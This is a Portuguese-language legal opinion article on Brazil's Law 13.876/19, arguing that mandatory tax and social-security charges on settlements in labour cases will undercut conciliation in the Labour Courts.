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Lei 13.876/19: O Fim dos Acordos na Justiça do Trabalho?

A Lei 13.876/19 entrou em vigor no dia 20/09/2019 e trouxe significativas alterações para a realização de acordo na Justiça do Trabalho, o que, no campo prático, trará a consequência lógica de uma drástica diminuição, para não dizer extinção, no número de acordos realizados junto àquela justiça especializada.

Até que a referida lei fosse editada e publicada, as partes de um processo trabalhista poderiam discriminar os valores correspondentes ao acordo como de natureza indenizatória, afastando assim, a incidência de tributos e facilitando a composição amigável naquelas lides, desafogando o sistema judiciário e colocando fim às disputas judiciais que tenderiam a perdurar por um tempo além do aceitável dentro de qualquer limite de razoabilidade.

Vale destacar que o juiz não é obrigado a homologar o acordo pactuado entre as partes conforme dispõe a súmula 418 do TST, e por isso, alguns magistrados trabalhistas já se utilizavam de princípios como o da indisponibilidade de direitos e o da Proteção do trabalhador para não homologar acordos que transformavam verbas de natureza salariais em indenizatórias, justamente por entender que esse tipo de composição traria prejuízos ao empregado e benefícios ilícitos ao empregador.

Ademais, é importante salientar que existe também na justiça do trabalho, em seu plano infraconstitucional, o chamado princípio da conciliação, que está presente em vários dispositivos da CLT, como nos arts. 831, 846, 850 e no art. 764, dispondo que os dissídios individuais ou coletivos submetidos a apreciação da Justiça do Trabalho serão sempre sujeitos a conciliação, determinando que os juízes daquela justiça especializada deverão empregar sempre os seus bons ofícios e persuasão no sentido de uma solução conciliatória dos conflitos.

A conciliação é muito valorizada no ambiente justrabalhista, tanto é, que em 2007 o CNJ instituiu o movimento “conciliar é legal”, resultando na instauração de Gabinetes de Conciliação espalhados por todo país e em mutirões conciliatórios periódicos nas varas do trabalho, órgãos jurisdicionais de primeiro grau.

O espirito conciliatório até então sedimentado pela na justiça do trabalho, a transformou no ramo do Poder Judiciário com o maior índice de conciliação, tendo aproximadamente 24% dos casos solucionados por meio de acordo, cabendo destaque ao TRT9 (Paraná), que resolveu de forma consensual 48,1% dos processos em fase de conhecimento no primeiro grau.

Após homologado, o acordo torna-se irrecorrível, por ser considerado uma sentença homologatória de transação entre as partes, podendo ser impugnado somente por Ação Rescisória (Súmula 259 do TST). Porém, há uma exceção legal quanto a irrecorribilidade do acordo homologado, prevista no parágrafo único do art. 831 da CLT, permitindo a interposição de Recurso Ordinário pela União, através do INSS, quando entender devidas contribuições previdenciárias, exceção esta, que no campo prático perderá eficácia com a nova lei.

Obviamente, a lei não extingue de maneira taxativa a possibilidade de conciliação nos processos trabalhistas, entretanto, após a publicação da referida lei, os movimentos conciliatórios na justiça do trabalho perderão força, haja vista a sua evidente ineficácia, já que quando pleiteadas verbas de natureza salariais, mesmo contendo na Reclamatória, pedido relacionado a verba indenizatória, não poderá o juiz homologar acordo sem a incidência de tributos trabalhistas e previdenciários nos valores pactuados, o que na prática, significa dizer que para chegar em um denominador comum, o Reclamante passará a receber menos e a Reclamada a pagar mais.

Tal afirmação implica em dizer que a nova lei trará ainda mais burocracia para a resolução de lides trabalhistas, aumentando a intervenção do Estado nas relações particulares, reduzindo o número de soluções consensuais nos processos e aumentando a morosidade do judiciário trabalhista.

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